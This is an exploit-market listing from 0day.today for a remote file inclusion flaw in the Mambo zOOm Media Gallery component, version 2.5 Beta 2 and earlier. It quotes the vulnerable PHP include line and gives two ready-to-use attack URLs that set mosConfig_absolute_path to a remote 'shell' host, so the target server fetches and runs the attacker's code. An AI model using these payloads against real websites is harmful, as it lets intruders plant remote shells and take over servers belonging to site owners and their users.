[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Mambo Component zOOm Media Gallery <= 2.5 Beta 2 RFI Vulnerabilities

Author
iskorpitx
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-1736
Category
web applications
Date add
10-04-2007
Platform
unsorted
====================================================================
Mambo Component zOOm Media Gallery <= 2.5 Beta 2 RFI Vulnerabilities
====================================================================



iskorpitx@metlak
from TURKEY
com_zoom file include



******************************************************************************/

// Create the Makernote Parser and Interpreter Function Array

$GLOBALS['Makernote_Function_Array'] = array(   "Read_Makernote_Tag" => array( ),
                                                "get_Makernote_Text_Value" => array( ),
                                                "Interpret_Makernote_to_HTML" => array( ) );


// Include the Main TIFF and EXIF Tags array

include_once("$mosConfig_absolute_path/components/com_zoom/classes/iptc/EXIF.php");

/******************************************************************************

http://www.example.com/[path]/components/com_zoom/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http://shell*
http://www.example.com/[path]/components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://shell*




#  0day.today [2024-07-02]  #